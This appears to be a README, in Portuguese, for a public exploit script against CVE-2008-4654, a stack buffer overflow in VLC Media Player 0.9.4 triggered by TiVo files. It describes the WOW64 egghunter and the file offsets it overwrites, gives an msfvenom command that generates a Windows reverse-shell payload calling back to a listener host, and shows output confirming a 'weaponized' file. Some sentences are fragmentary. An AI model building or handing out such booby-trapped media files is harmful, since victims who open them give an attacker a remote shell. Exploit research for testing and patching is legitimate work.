
Um exploit totalmente funcional para uma vulnerabilidade de estouro de buffer baseado em pilha no VLC Media Player 0.9.4 do VideoLan ao processar arquivos TiVo.
Um exploit totalmente funcional para a vulnerabilidade de estouro de buffer baseado em pilha CVE-2008-4654 no VLC Media Player 0.9.4 da VideoLan ao processar arquivos TiVo. Ele tem como alvo um binário de 32 bits executado em um sistema Windows de 64 bits e usa um egghunter WOW64 para contornar o espaço limitado da pilha.
Atualize o Script:
buf = b'[...]' no script pelo seu próprio shellcode (por exemplo, do msfvenom).EGG_HUNTER_WOW64 se quiser uma tag diferente ou tiver um egghunter personalizado.python .\CVE-2008-4654.py --help
CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT
Transform a given TiVo file into a weapon with predefined shellcode.
options:
-h, --help show this help message and exit
--input INPUT Path to the input TiVo file to be weaponized.
--output OUTPUT Path where the modified (weaponized) TiVo file will be saved.
TIVO_PES_FILEID) no arquivo TiVo.b"\x00\x00\x00\xff", que configura a leitura fora dos limites levando a um estouro de pilha.TIVO_PES_FILEID) por um payload personalizado.w00tw00t.msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'
buf = b'[...]' pelo shellcode criado anteriormente.PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty
CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty